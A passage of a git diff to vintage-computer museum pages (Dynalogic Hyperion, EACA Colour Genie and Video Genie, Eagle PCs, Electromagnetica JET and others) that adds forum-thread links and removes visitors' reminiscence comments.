system was able to run on Xenix (Unix little version) - - author: Ian Roworth (UK) - date: Tuesday 17th March 2015 - text: |- - Spotted these 2 posts albeit 2011 I worked for the only UK reseller for the Durango to boot from a floppy disc it was ''Code'' followed by ''Load''\ - Hope this helps - - author: Peter Breitenfeld (Germany) - date: Monday 11th July 2011 - text: |- - Hi Jim, - - I had 2 F85 and an external Dual Floppy drive$ My brother stored them for me nearly 15 years ago. Neither of us is quite sure if they still do exist anymore. - - You have to $ the sytem disk in drive 0 an press 2 keys, if I remember well, like $ctrl$ and $del$. Maybe you simply try two keys which seem familiar in this respect, or which might ring a bell. - - I still have the D-Basic disk, and also Star-Basic, which I used for programming software with for my company at the time. - - All the best $ let me know. - - Regards from Hamburg\ - Peter Breitenfeld - - If you hit the right keys, it should boot from disk. - - author: Jim Herman (USA) - date: Saturday 21st May 2011 - text: i am a CPA and purchased one of these machiness in 1982 or so and another one a year later. They were wonderful computers and I still have both of them and the software. I fired one up yesterday but found that I had forgotten how to get them up an going. Oh, well, the machines now are a lot faster and easier to run but the Durango was great. + forum_thread: 916 oc_id: 939 source: url: https://web.archive.org/web/20220818102400/http://www.old-computers.com/museum/computer.asp?c=939 diff --git a/content/museum/dvw-micro-electronics-husky.md b/content/museum/dvw-micro-electronics-husky.md index 780b90e5..ce9edcd2 100644 --- a/content/museum/dvw-micro-electronics-husky.md +++ b/content/museum/dvw-micro-electronics-husky.md @@ -59,6 +59,7 @@ params: tabs: - photos - links + forum_thread: 465 photos: - title: IN USE subtitle: '' @@ -156,31 +157,6 @@ params: - title: Husky official website url: http://www.itronix.co.uk/uk/ text: Husky (now Itronix) is still producing rugged field notebooks ! - comments: - - author: TheEPROM9 (UK) - date: Saturday 15th October 2022 - text: I have posted all the info I have on these machine on my website. It includes images $ EPROM dumps. Soneone has even created an Emulator for the Husky Hunters. I have posted a link to my website here to. - - author: Felix Graber (USA) - date: Wednesday 8th March 2017 - text: I''d be interested in in David, do you still have it? - - author: Bill Donnelly (NorCal, USA) - date: Monday 27th February 2017 - text: I would be VERY surprised if this unit had 32 KB of RAM in 1981. Maybe the potential to have that. This was back in a time when you were lucky to have 8 KB of RAM in your micro, and even that was expensive. If you had 16 KB, you were a "computer god" to your friends. - - author: david (UK) - date: Wednesday 18th March 2015 - text: I have one of these - anybody interested? - - author: felix graber - date: Saturday 9th November 2013 - text: Would like to know if it could display any type of graphics (simple line graphs, etc...). anything similar to the epson hx20? - - author: Simon Lyne (United Kingdom) - date: Saturday 18th May 2013 - text: |- - After opening the DVW Husky and measuring the clock crystal and researching the NSC800 CPU I can confirm that the DVW Husky has a CPU clock speed of 1MHz. The internal clock crystal for the CPU runs at 2MHz so it will be going through some kind of divide circuit before it reaches the CPU. - - Link to datasheet: http://pdf1.alldatasheet.com/datasheet-pdf/view/9300/NSC/NSC800.html - - author: Quick Basic (East Cost) - date: Wednesday 8th September 2004 - text: I heard that you could run over this thing in a car and it would be ok, is that true? oc_id: 471 source: url: https://web.archive.org/web/20221205135157/http://www.old-computers.com/museum/computer.asp?c=471 diff --git a/content/museum/dynalogic-hyperion.md b/content/museum/dynalogic-hyperion.md index 7d18f128..27109e12 100644 --- a/content/museum/dynalogic-hyperion.md +++ b/content/museum/dynalogic-hyperion.md @@ -71,6 +71,7 @@ params: - adverts - hardware - links + forum_thread: 343 photos: - title: LARGE VIEW subtitle: '' @@ -168,80 +169,6 @@ params: - title: Hrothgar's Cool Old Junk Page url: http://www.total.net/~hrothgar/museum/Hyperion/index.html text: Some infos here - comments: - - author: Mike (Canada) - date: Thursday 9th March 2023 - text: Stumbled across this site, as I was just thinking about the good old days at Dynalogic/ Hyperion. I used fly out of Canada every 2nd week to train dealers on how to repair the machines. It got so bad, that I ended up writing a piece of software that we later sold to dealers (I think Dysan ended up copying it and selling it under another name, my first experience with such business practices). My software allowed them to use the machine as a disk drive exerciser alignment tool (yes, because the drives caused the machine to be DOA far too many times). I later switched over to a company that made a solid state disk drive emulator (for the Hyperion), using "bubble memory" - it too had technology failure problems LOL. Those were the days. I still have a brand new Hyperion, in the original bag, with all the various software. BTW, we called it a "luggable" back then. - - author: Mike (Canada) - date: Thursday 9th March 2023 - text: Stumbled across this site, as I was just thinking about the good old days at Dynalogic/ Hyperion. I used fly out of Canada every 2nd week to train dealers on how to repair the machines. It got so bad, that I ended up writing a piece of software that we later sold to dealers (I think Dysan ended up copying it and selling it under another name, my first experience with such business practices). My software allowed them to use the machine as a disk drive exerciser alignment tool (yes, because the drives caused the machine to be DOA far too many times). I later switched over to a company that made a solid state disk drive emulator (for the Hyperion), using "bubble memory" - it too had technology failure problems LOL. Those were the days. I still have a brand new Hyperion, in the original bag, with all the various software. BTW, we called it a "luggable" back then. - - author: Dennis (Philadelphia, PA) - date: Monday 24th April 2017 - text: I was Anderson Jacobson''s service manger in Philly (Jeffersonville), and we had a Hyperion as a sales demo. The Philly office only sold a few units, but we did use the demo as an office computer. I found it quite useful, and the bundled software was advanced for the time. It worked OK except for the floppy drives. - - author: Ross (Australia) - date: Wednesday 1st June 2016 - text: I had one too in the early eighties, in Australia. My memory must be failing me as I thought I had it when I worked for an employer whom I left around March 1982. I remember it came with MSDOS 1.1 and then happy days I got MSDOS 1.25. I certainly had Lotus 123, a word processor and Turbo Pascal. .....and it was transportable. It was a joy that I could take home rather than pencil and paper at night. - - author: Jørgen Bang (Danmark) - date: Wednesday 22nd July 2015 - text: I had a Hyperion in 1983 in Denmark, Europe. It ran MS-DOS 1.25, a special danish version of 1.1, I used it with Lotus 1-2-3 for accounting. I was very happy about it, it never let me down. In Denmark it was sold by a company called HELPP Computer. I do''nt know how many they sold. In Norway a bank bought 50 to be used in banking. - - author: Dave Malby (Sacramento, CA) - date: Tuesday 19th May 2015 - text: I purchased the Hyperion that was 1 year old in 1985 from Anderson Jacobson in Santa Clara, CA. I used it for tax preparation for businesses. I was one of the first Registered California Tax Practitioners that prepared taxes using a portable computer and filed taxes electronically. I believe I used the first edition of Turbotax that was introduced by Mike Chipman which I conversed with on the phone when I ran into problems. The computer only gave me grief if I forgot to save the file on the 2nd floppy or when someone tripped on the power cord. - - author: Mary Jim Ailor (United States) - date: Thursday 13rd November 2014 - text: |- - I have one with the case all the books that I am selling at a estate sale next week in Huntsville, al. Please email me if you are interested and help me with the price. The only one I see it $4000, but I know they are not selling for that.\ - MJ Ailor\ - Loose Ends By MJ estate sales - - author: Mary Jim Ailor (United States) - date: Thursday 13rd November 2014 - text: |- - I have one with the case all the books that I am selling at a estate sale next week in Huntsville, al. Please email me if you are interested and help me with the price. The only one I see it $4000, but I know they are not selling for that.\ - MJ Ailor\ - Loose Ends By MJ estate sales - - author: TravelFrost (Canada) - date: Wednesday 21st May 2014 - text: 'SM (Ottawa, Ontario, Canada) - if you still have a Hyperion - I would be interested. email: travelfrost@yahoo.com' - - author: SM (Ottawa, Ontario, Canada) - date: Monday 16th September 2013 - text: I have six working Hyperions, with carrying cases, and three for parts. anybody interested? Original manuals as well. - - author: Jim Baucom (Colorado, USA) - date: Wednesday 23rd November 2011 - text: |- - SCI Systems made these in Huntsville, AL for Dynalogic and I bought one while working for SCI. I will give it and the mauuels anyone who wants it.\ - jim0400@aol.com - - author: Jim Baucom (Colorado, USA) - date: Wednesday 23rd November 2011 - text: |- - SCI Systems made these in Huntsville, AL for Dynalogic and I bought one while working for SCI. I will give it and the mauuels anyone who wants it.\ - jim0400@aol.com - - author: steve (Toronto, Canada) - date: Wednesday 5th October 2011 - text: I had one of these in working condition back in 1988 - my mother found it in a junk closet at an office she worked at in Ottawa. I was saving it as the showpiece of my vintage pc collection. Then I learned that the same mother threw it in the trash while I was backpacking in Australia! I was unbelievably disappointed, but I think another collector found it, so at least the machine went to a good home. - - author: Dean (Canada) - date: Sunday 28th November 2010 - text: This was my first computer, back when I was in university. I actually did CFD modelling on it. Somewhere, I still have floppy disks of Lotus 123 Version 1A. - - author: Mitch Hodges (Georgia, USA) - date: Saturday 22nd May 2010 - text: |- - My very first IT job was with Anderson-Jacobson as a Sales Support Engineer hired specifically to support the Hyperion, although I supported most of their other telecomm equipment as well. Based out of DC, I was in and out of most of government with this, and they purchased quite a few. - - I still had the carrying case that I used as a carry-on bag up until about 5 years ago. It was great "little" computer, but the bag was even better! - - author: Yves Mc Donald (Quebec, Canada) - date: Monday 24th March 2003 - text: I salvaged a pair of Hyperion' main logic boards from an electronic discount store in Montreal back in 88. The boars were later sold to a delighted Hyperion user because the boards were actually intact! They were oddly shaped PCBs. The board\`s contour fitted the back end of the case. It looks more like some sort of test equipment rather than a PC. - - author: Eric des Courtis (Ottawa) - date: Sunday 5th February 2006 - text: I have MS-DOS 1.25H except I am not sure if I can legally make you a copy. You might find it useful to know the machine will boot MS-DOS 5 and possibly 6.22. The disk drives are 320KB instead of 360KB which might cause problems for booting... So make sure to format the disk at lower density. Also take into consideration you can't use a 1.2MB 5"25 Floppy drive to format the disk you will need a 360KB drive. - - author: Paul Williams (Canada) - date: Thursday 15th December 2005 - text: I have a Hyperion, I found in the garbage. The screen was not functioning when I found it, but has since been repaired. I am wondering if there is any way that I could download a copy of PC Dos 1.25H from somewhere. Also if anyone knows where I can get some more documentation as it is very difficult to find. In any case It will be great to get it fully up and running! - - author: Michael R Murphy (Canada) - date: Thursday 26th May 2005 - text: The Dynalogic Hyperion is fondly remembered by me,a sort of old timer in the computer world. Given that it was also one of the very few Canadian presences in the computer world at that time, that makes it like me, a proud Canadian! - - author: Nighthawk (Ontario, Canada) - date: Tuesday 7th January 2003 - text: I bought a Hyperion for $50 in 1992. I noticed quite by accident since I was actually looking at anthor computer. The unique stance of this machine is what caught my eye. The machine came with a custom version of MS-DOS, version 1.25. This version od DOS could take advantage of a custom video mode unique to this machine. It allowed 40 or so extra pixels (or the equivalent text lines). It came with a vserion of GW-BASIC that also could use the custom video mode. While you might think that 256K is not much ram (and it's not, really) I could use some for a ram disk, load Turbo Pascal 3.01A in to the ram disk and run it from there. Man did it fly! Since the Compiler could compile to ram and run it from ram, the disk never was used except to save files. oc_id: 339 source: url: https://web.archive.org/web/20230401022800/http://www.old-computers.com/museum/computer.asp?c=339 diff --git a/content/museum/eaca-colour-genie-eg-2000.md b/content/museum/eaca-colour-genie-eg-2000.md index 06bb433b..16a4a4f4 100644 --- a/content/museum/eaca-colour-genie-eg-2000.md +++ b/content/museum/eaca-colour-genie-eg-2000.md @@ -61,6 +61,7 @@ params: - hardware - software - emulators + forum_thread: 141 photos: - title: LARGE VIEW subtitle: '' @@ -197,53 +198,6 @@ params: url: http://mess.emuverse.com/ platform: Windows text: A Colour Genie emulator is included into MESS - comments: - - author: OFER (Israel) - date: Saturday 25th May 2019 - text: |- - I used to own the colour genie back in the 80''s and had a 16K RAM extension. I lost my original genie long ago but recently I acquired (ebay) one (no RAM extension).\ - I am looking to get extension or build one.\ - If any one can help with technical information it will be great.\ - Note that I do have the Colour_Genie_Technical_Manual_1984_Lowe_Electronics\ - File but the information do not have complete electric diagram. - - author: john - date: Thursday 16th November 2017 - text: It was the colour version of the VideoGenie/System 80 which were compatible with the TRS-80. It was never intended to compete with the CoCo, which wasn''t very successful anyway. - - author: Jason (London - UK) - date: Saturday 26th May 2012 - text: |- - This was the first computer I ever bought with my own money. I bought it as a package with a rtty decoder and software. I wish I still had that setup. - - btw, the first computer that the family had was a Video Genie Model 1. My cousin had a TRS-80 and we were going to get one of those but my dad saw an ad for the Video Genie and decided it was better value. - - author: Rick Hamilton (Uk) - date: Sunday 2nd January 2011 - text: Yes that was it. It was distributed by the Colour Genie user mag Gum boot, at about the end of the era. Im afraid my genies and source tapes all ended up in a skip when I moved to America. :-( - - author: Reality Check (uk) - date: Sunday 5th December 2010 - text: Rick, that would be Jet Set Billy. I think i still have one of these in storage with about 100 games, might have to dig it and and see if it will boot up again. - - author: Rick Hamilton (UK) - date: Monday 11th October 2010 - text: I wrote a number of games for the Colour Genie, A10 Bomber, Geniepede, Martian Rescue, and a Jet Set Willy look-a-like (I cant remember the name now). At the time the EG2000 had a very good spec compared to other systems + it had a real keyboard. - - author: Meier Gerd (Germany) - date: Tuesday 15th April 2008 - text: |- - I found an old cassette from 1984 with programs for\ - the colour genie. I loaded them to my PC and they\ - are working with colour emu 3.0. If you are interessted I can send them to you. - - author: Rajkumar Madhuram (USA) - date: Thursday 7th August 2003 - text: Color Genie was the first computer that I owned, I think around 1988/89. I was coveting for a ZX spectrum, but my dad bought me a Color Genie instead. It was one of the best things that happened to me. I still can remember how happy I was when I got that machine home. It had 32K RAM with around 4K for BASIC and a few K for video. Even then, it had some excellent games. I quickly learned to program in BASIC & Z-80 Assembly. It basically helped start my career in computing! - - author: johnsonlam (Hong Kong) - date: Thursday 20th March 2003 - text: Almost 18 years ago I own a Color Genie, it's fun to play some BASIC games on it, the cassette signalling design is the best I've ever seen, a number of 4 asterisk on the top left corner flashing, telling you to adjust the volume level. I love this computer but since it's a Hong Kong product (oh ... I'm a Hong Kong Citizen!), don't have much game supporting it (some TRS-80 can run). It fade out and I trade to others. - - author: Street J (Estonia) - date: Friday 24th January 2003 - text: |- - I found it from the back of our physics class. I'll try to hook it up to my TV. I have never used this kind of machine, except a ZX Spectrum, at my friends in 1987. Now it's good time for nostalgie. - - If there's more information anywhere about the Colour Genie EG-2000 then send the URL or something to my e-mail. - - Thanx oc_id: 128 source: url: https://web.archive.org/web/20230618222709/http://www.old-computers.com/museum/computer.asp?c=128 diff --git a/content/museum/eaca-video-genie-1-eg-3003.md b/content/museum/eaca-video-genie-1-eg-3003.md index 942b05fd..96659e61 100644 --- a/content/museum/eaca-video-genie-1-eg-3003.md +++ b/content/museum/eaca-video-genie-1-eg-3003.md @@ -62,6 +62,7 @@ params: - photos - adverts - links + forum_thread: 416 photos: - title: VIDEO GENIE I / EG-3003 subtitle: '' @@ -98,82 +99,6 @@ params: - title: Dick Smith System 80 url: http://www.webweavers.co.nz/system-80/ text: A site dedicated to the Australian version of Genie 1 - comments: - - author: Kevin Littlejohn (Australia) - date: Friday 4th May 2012 - text: |- - These machines were expandable with after-market parts - you could purchase Exabyte "stringy floppy" drives (an eternal loop tape that held 4 programs, pretty much regardless of size, and ran somewhere between tape and disk speed). You could also purchase memory chips, which you added by soldering onto the top of the existing chips. There were a few magazines dedicated to the System 80/TRS-80 in Australia/New Zealand, which carried basic program listings. My high school had a lab of them with a locally-produced "network" chip, that allowed one machine to take control of another via I think the S100 bus - so the lab had one flobby drive, and all the machines could access it.\ - They also didn''t have a volume control on the tape drive - it wasn''t uncommon to see second hand units that had had that added.\ - The System 80 came with a Dick-Smith tape that, amongst other things, had a program that played "flight of the bumble bee" - badly $) - - author: Fritz Chwolka (germany) - date: Wednesday 9th March 2016 - text: |- - Hi.. I used the Colourgenie in 1981/82 in germany and got it from Schmidtke$Aachen. Since then I have fun with those computers and collected a lot of informations. Nice that there was a lot of german support from TCS Trommeschlaeger - - Look at:\ - http://oldcomputers.dyndns.org/public/pub/rechner/eaca/ - - Greetings - - fritz - - author: kayleigh (caridf) - date: Monday 9th March 2015 - text: |- - hey guys, i have a eaca genie eg 3003 in box with original documents and receipt on ebay, how much is it worth ect... - - thanks in advance - - ebay item no: 321686082839 - - author: Martin M. (Germany) - date: Wednesday 19th February 2014 - text: |- - I had a Video Genie I EG3003 (with cursor keys, CLEAR key, VU-Meter, Volume control) when I was a child. - - Lowercase was enabled by\ - SYSTEM\ - \*?/12345 - - It wasn''t documented, so I thought I had found a secret by accident :-) - - I remember the garbage-on-screen when turning on the Video Genie. It displayed characters that you could not display once the L2 BASIC came up... and I wonder why. - - Some characters were different to the original TRS-80 as the character generator was able to display the German Umlaut (ÄÖÜ...). The up-arrow became "Ä" and so on. - - author: Daniel Smith (Earth) - date: Friday 4th May 2012 - text: By entering SYSTEM 12288 into the Video Genie, it would give you lower case letters, a flashing cursor and auto repeat on keys. Remarkable! - - author: Adrian Williams (Australia) - date: Friday 4th May 2012 - text: Dick Smith Electronics in Australia brought out a re-badged version of the Video Genie called the System 80. These were identical except of course they carried the Dick Smith Logo. I presume that that came from the same Eaca factory in Hong Kong. They also sold a ''business'' version with the keyboard, two floppy disk drives and expansion box with a clunky little printer. - - author: Eunice Mills (UK) - date: Friday 13rd April 2012 - text: We have a boxed Video Genie in our loft. I''m not sure what to do with it. Any ideas? - - author: James Perrett (Melbourne) - date: Monday 17th January 2011 - text: |- - I wrote a lunar lander game in Basic on this PC.\ - Also learnt Z-80 Machine code on this and my Homebrew PC.. Z-80..2114s,2732''s,4116''s and 41256s ..still have Z-80 Instructions stored in my head. - - author: James Stewart Miller (jersey) - date: Thursday 2nd September 2010 - text: |- - I used to have a video-genie too. Tape-deck model with a Nick Kershaw sticker from a weatabix box. I used to play Scott Adam adventures such as the Count and other games as well. It has always been truly inspiring to me how they could get games like android reversi working using ascii character code programming so that the robots had a 3d appearance. I was given mine as a birthday present in 1984 and I have programmed since then (on and off (even my expressions are binary(note the advanced human bracketing system I use))). I would really like to be able to buy an original if anyone still has one. I still have all the games somewhere. There were a lot of scientific programs for them like the game of life, astronomy programs, electronics programs with schemas and databases that fired my imagination in a way that people who prefer to read book than use a computer are now hideously offended by - something to do with money I think but I''m not certain$\ - gosub "gosub" their favourite expression. I wouldn''t personally give my children - if I had any - a calculator before the age of 17 but I would give them a computer. - - author: Dave Beck (UK) - date: Friday 22nd January 2010 - text: I wrote my first program on mine in Quick Basic, it was a stock control database written from first principles it was 16Kb and it took 10 mins to load from audio tape. - - author: Terry Stewart (New Zealand) - date: Thursday 9th June 2005 - text: |- - Hi, I've got a site devoted to this model at http://www.webweavers.co.nz/system-80/ - - What I really want to find out now though is more about the company that made it, EACA. I know that they were based in Hong Kong and went out of business in 1983 or 84. How large were they? Did they make any other products? Who designed the original EACA Video Genie/System 80? This kind of thing. - - If you know anything please email me. - - author: Kevan Vautier (UK) - date: Saturday 21st May 2005 - text: I got one of these for my xmas and birthday present. I remember that it was purchased from Lowe Electronics in the UK www.lowe.co.uk. From my memory it is equlivent to a TRS-80 model 2. Its a shame but I sold all my books and parts for it to a local school back in the 1980's. My main memory of it is playing text adventures on it. And learning to write Z80 machine code... ahhh those were the days. - - author: Benny Knudsen (Denmark) - date: Wednesday 22nd December 2004 - text: I have one of the EG3003 model with casette deck. I managed to upgrade the internal board from 16 KB to 48 KB RAM and to add a 2KB monitor eprom by myself. Later the model came with this monitor build in i addition to the BASIC program. I also changed the character generator to be able to have both upper and lower case letters, and then I added a little centronic printer interface. Then the PC came and the model became history. oc_id: 419 source: url: https://web.archive.org/web/20230618222713/http://www.old-computers.com/museum/computer.asp?c=419 diff --git a/content/museum/eaca-video-genie-iii-eg-3200.md b/content/museum/eaca-video-genie-iii-eg-3200.md index db3c34bd..bf581123 100644 --- a/content/museum/eaca-video-genie-iii-eg-3200.md +++ b/content/museum/eaca-video-genie-iii-eg-3200.md @@ -60,6 +60,7 @@ params: value: $3400 - £2185 tabs: - photos + forum_thread: 142 photos: - title: GENIE III subtitle: '' diff --git a/content/museum/eagle-computers-inc-eagle-pc.md b/content/museum/eagle-computers-inc-eagle-pc.md index 97bda4ca..1a3cb144 100644 --- a/content/museum/eagle-computers-inc-eagle-pc.md +++ b/content/museum/eagle-computers-inc-eagle-pc.md @@ -60,21 +60,7 @@ params: value: |- 64k, 1 disk model : 4055 (France, december 1983)\ 128k, 2 disks model : 5275 (France, december 1983) - comments: - - author: David Drager (United States) - date: Thursday 2nd March 2017 - text: |- - The Eagle PC 2 was my first PC. Its most unusual feature was that it had 24 function keys! The founder of Eagle died in a sports car crash hours after his firm went public. - - http://www.nytimes.com/1983/06/10/business/corporate-triumph-then-death-in-a-ferrari.html - - author: Leo Hermacinski (Boston USA) - date: Sunday 2nd January 2005 - text: |- - I worked at Motorola in the early 80's designing video display monitors. Eagle was a big customer of ours as their Eagle PC sales really took off. - - IBM sued Eagle for IP infringement as the Eagle PC BIOS was a little too close to that in the IBM PC. Next the CEO of Eagle drove his car off a California clifftop and the company was wound up. Motorola ended up taking a large number of Eagle PCs as payment for money owed- and then sold the units to Moto employees. For many at Motorola this would have been their first PC purchase. - - Leo + forum_thread: 523 oc_id: 529 source: url: https://web.archive.org/web/20230503084046/http://www.old-computers.com/museum/computer.asp?c=529 diff --git a/content/museum/eagle-computers-inc-eagle.md b/content/museum/eagle-computers-inc-eagle.md index 06ba07d8..4f3fb3ef 100644 --- a/content/museum/eagle-computers-inc-eagle.md +++ b/content/museum/eagle-computers-inc-eagle.md @@ -62,6 +62,7 @@ params: Eagle IV : $2600 (USA, 1982) tabs: - photos + forum_thread: 520 photos: - title: EAGLE II subtitle: '' @@ -107,19 +108,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/eagle_computers.jpg - comments: - - author: ND Martin (United States) - date: Tuesday 28th July 2020 - text: There are a few errors in the Spellbinder essay. Spellbinder was a two-man company, founded by UC Davis psychology professor John Bintz and Perry Gee, who wrote the software. You seem to have conflated the story of Eagle Computer president Dennis Barnhardt''s untimely demise in his Ferrari the day the company went public. Lexisoft folded because they never developed a WYSIWYG capability for Spellbinder and the industry passed them by. I don''t know what happened to Perry, but John and his wife retired, sold their house in Davis, CA, bought a motor home and hit the road. - - author: mrkoolnerd (usa) - date: Thursday 13rd January 2011 - text: i was wondering which model is most common today - - author: Joey Swails - date: Sunday 4th October 2009 - text: I used an Eagle III around 1984 - the software company I worked for (Eldorado Software) got it to use for porting our products (spreadsheet utilities and templates) to C/PM. We also used it to convert our spreadsheet templates to UltraCalc and SuperCalc (they were all originally written for VisiCalc on the Apple II.) Since we were trying to do a lot of cross-platform development, we had the Eagle, an Apple II, an original IBM PC (no hard drive), a TRS-80, a Commodore 64, Atari 400 and a Basis 80 (Apple clone) all in our workshop! - - author: Joseph Kelch (Belcamp, MD) - date: Saturday 18th May 2002 - text: I was working as an intern at the Hayden Planetarium in NYC when in 1982 we installed the first computer automation system in the theater, using dual Eagle II computers. They were nice machines for the time. I learned a lot about assembly language programming playing with them! oc_id: 526 source: url: https://web.archive.org/web/20230208074732/http://www.old-computers.com/museum/computer.asp?c=526 diff --git a/content/museum/eagle-computers-inc-spirit.md b/content/museum/eagle-computers-inc-spirit.md index 28eae083..577b5d7e 100644 --- a/content/museum/eagle-computers-inc-spirit.md +++ b/content/museum/eagle-computers-inc-spirit.md @@ -64,28 +64,7 @@ params: value: Built-in PSU - label: PRICE value: 7470 (France, december 1983) - comments: - - author: ron shenk (US) - date: Wednesday 15th June 2022 - text: I have an Eagle Spirit portable. It stopped working so I opened it up and looked it over thoroughly. I found a bad capacitor and disassembled the computer to get at the board with the capacitor. After replacing it, I find I don''t remember how and where the connectors go. It would help alot to have a picture of the orange connectors and green/white/black wire connector. Thanks - - author: gary (GA, USA) - date: Sunday 24th April 2022 - text: Has one around 90, the original BIOS chips would not boot once a HD controller installed. Had to upgrade the BIOS to get it to boot - - author: Ian (Waterloo Ontario Canada) - date: Sunday 17th January 2021 - text: I''m only 19 years late to help Chris probably, but in case someone else finds this thread, the full text of the Eagle Spirit PC User''s Guide is archived at https://archive.org/stream/eagle_pc_spirit_users_guide_nov83/Eagle_PC_Spirit_Users_Guide_Nov83_djvu.txt - - author: john - date: Friday 7th June 2019 - text: |- - This has a CGA display card, as was the most common used on PC clones, since it more versatile than either MDA or Hercules, having both colour and an 80 column text display. - - In common with most of these Osborne style PCS, it uses a composite video monitor (like the PET and Apple II) rather than a TTL or RGB monitor, as they are also used on TV sets and were therefore much cheaper. - - The highest resolution (640 x 200) is disabled as the monitor would not display it legibly (composite monitors are a bit blurry).\ - The other Eagle system uses a Hercules card, which has a higher resolution but is only monochrome. - - author: Chris Griffiths (Victoria B.C. Canada) - date: Sunday 8th September 2002 - text: I need the dip switch settings! I work in small computer store and a fellow dropped one of these off, so for nostailgia sake, and I wanted to re learn basic I took it home bot it's not booting and I wanted to find it a MFM HD.. But for these things I need to know the jumper settings of anyone has a manual Please e-mail me.. Thanks. + forum_thread: 524 oc_id: 530 source: url: https://web.archive.org/web/20230606195828/http://www.old-computers.com/museum/computer.asp?c=530 diff --git a/content/museum/ecd-corporation-micromind.md b/content/museum/ecd-corporation-micromind.md index 6e8ac413..e29519a7 100644 --- a/content/museum/ecd-corporation-micromind.md +++ b/content/museum/ecd-corporation-micromind.md @@ -48,10 +48,7 @@ params: value: Built-in PSU - label: PRICE value: $987.54 (USA, 1977) - comments: - - author: Custom Tees (Los Angeles) - date: Thursday 25th August 2022 - text: Really Nice Website. Good articles. Thanks + forum_thread: 1312 oc_id: 1347 source: url: https://web.archive.org/web/20230413210019/http://www.old-computers.com/museum/computer.asp?c=1347 diff --git a/content/museum/eds-c64-edc.md b/content/museum/eds-c64-edc.md index ed22a34b..7f4ecc93 100644 --- a/content/museum/eds-c64-edc.md +++ b/content/museum/eds-c64-edc.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 1056 photos: - title: LARGE VIEW subtitle: '' @@ -256,22 +257,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: Polacco - date: Friday 24th November 2017 - text: Still nicer than Speccy :D - - author: lodger - date: Thursday 18th September 2008 - text: |- - Unlike a lot of inferior systems, such as the Sinclair Spectrum or the Amstrad/Schneider CPC series, the Commodore 64 had a lot to offer: sophisticated sound, graphics and file I/O features. Especially the VIC2 video chip and the SID sound chip were far more advanced than those chips used by Commodore''s competitors. - - I have a C64 in a 80s PC Style case that looks almost exactly the same and I wonder if this thing is also a machine by EDS. It has only one internal disk drive though. - - author: Hernán - date: Sunday 23rd March 2008 - text: |- - I thought a C64 couldn't be uglier. This computer proved me wrong. - - Greets from a Speccy fan ;-) related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/educatel-microlab.md b/content/museum/educatel-microlab.md index 56c8d044..ccba486e 100644 --- a/content/museum/educatel-microlab.md +++ b/content/museum/educatel-microlab.md @@ -57,6 +57,7 @@ params: tabs: - photos - adverts + forum_thread: 1104 photos: - title: MICROLAB subtitle: '' diff --git a/content/museum/electromagnetica-jet.md b/content/museum/electromagnetica-jet.md index a010e12e..eda416b7 100644 --- a/content/museum/electromagnetica-jet.md +++ b/content/museum/electromagnetica-jet.md @@ -56,6 +56,7 @@ params: value: 11.500 lei (Romania, 1990) tabs: - photos + forum_thread: 653 photos: - title: JET (YELLOW MODEL) subtitle: '' @@ -109,42 +110,6 @@ params: Thanks to Zeno Mateescu for this picture image: /media/museum/photos/electromagnetica_jet-yellow_rear.jpg - comments: - - author: Mihnea (Netherlands) - date: Wednesday 16th September 2020 - text: |- - I started my epic IT journey with one of these, and it will always hold a special place in my heart. I actually still own it, and it still starts up (haven''t tried any programs though as I don''t have the cassette tapes anymore). - - Contrary to what some of the comments here state, the processor was perfectly fine and useable, despite being a reverse-engineered clone of the Z80. I played countless games on it (including the ones with custom loading procedures), wrote and ran numerous programs in BASIC and assembler, even loaded a simple version of PASCAL. - - It''s possible some of the "JET" clones on the market were actually fakes, as it was common in Romania of that time to take the case of an existing computer and then add or tweak the internals$ that would explain the poor experience some other users have seen. Mine worked perfectly fine for everything I ever threw at it, actually I lately won a HC-90 during a computer programming contest and it was significantly worse in all aspects $ buggy loading from tape (kept R Loading Error''ing), non-working keys, insane noise when loading programs from tape (whoever thought that was a useful thing to have?!). - - The keycaps were by far the best on the market among all Z80 Romanian clones (HC, CIP, etc.) as they had the text printed and covered by a plastic cap$ it means they are still readable and in great shape decades later, as opposed to the others which had missing text soon after purchase and later would turn into "blank" keyboards. - - The main disadvantage of the machine was the lack of native extensions $ while the HC benefitted from the Interface 1 and 2 add-ons, which enabled joysticks, floppy disk drives and even networking support (!), on the JET that all had to be done "the hard way". Mine only had a Sinclair Joystick extension to the side, which required some soldering and case modding, but it worked nicely afterwards. - - Another interesting fact about the JET was that it was capable of reading several different tape "styles" (programmes recorded with different machines were rarely compatible among them due to the speed and amplitude of the tape signals), all it took was slight tweaks to the tape head. The CIP was also pretty good in this regard, but the HC was absolutely terrible, refusing to load any programme not written by its own hardware. - - author: ANDREI (romania) - date: Wednesday 15th April 2015 - text: http://www.ebay.com/itm/301586894057?ssPageName$STRK:MESELX:IT$\_trksid$p3984.m1555.l2649 - - author: RHX - date: Saturday 8th September 2012 - text: |- - Indeed it was slow, I think due to a 2.5 Mhz CPU instead of the standard 3.5 Mhz for HC-85. I owned one and was driving me mad for not being able to load the "nonstandard" games. How can I define them? When loading BASIC programs, the screen flickers in a specific way - it loaded such programs. More recent games however, used their own loading routine, which flicked the screen "differently". They were probably heavier on the CPU, ''coze they didn''t load on JET. - - Finally I gave up, sold it, added some difference and bought a HC. What a difference! - - author: Robert Teodorescu (Romania) - date: Monday 5th September 2011 - text: I own one of these and I can say I$m very nostalgic when thinking of it, but it was rubbish. It$s processing speed was the slowest of them all (HC / TIM-S / CIP) and I know the technical specification of mine said 250 000 hz Cpu speed. At 4Mhz I had a PC286.. I think the specs displayed here are a little optimistic. - - author: $$350$tefan (Bucharest, Romania) - date: Friday 16th July 2010 - text: Dind''t knwow that "Electromagnetica" assambled computers too! - - author: Costel Dumitru (Romania) - date: Tuesday 15th July 2008 - text: |- - I remember seeing this JET computer on store shelves back in 1990 as a novelty. At 11.500 lei it was expensive (a similar machine, HC-90, had a price of 10.000 lei that year). It was featured as a "TV games machine", but it was a full-fledged Sinclair Spectrum clone. - - I did not own one (being too expensive), but I used a TIM-S, a HC-85, a HC-90 and a HC-91. oc_id: 669 source: url: https://web.archive.org/web/20230608213821/http://www.old-computers.com/museum/computer.asp?c=669 diff --git a/content/museum/electronic-product-ass-epa-6800.md b/content/museum/electronic-product-ass-epa-6800.md index d6ebfa37..8148b6de 100644 --- 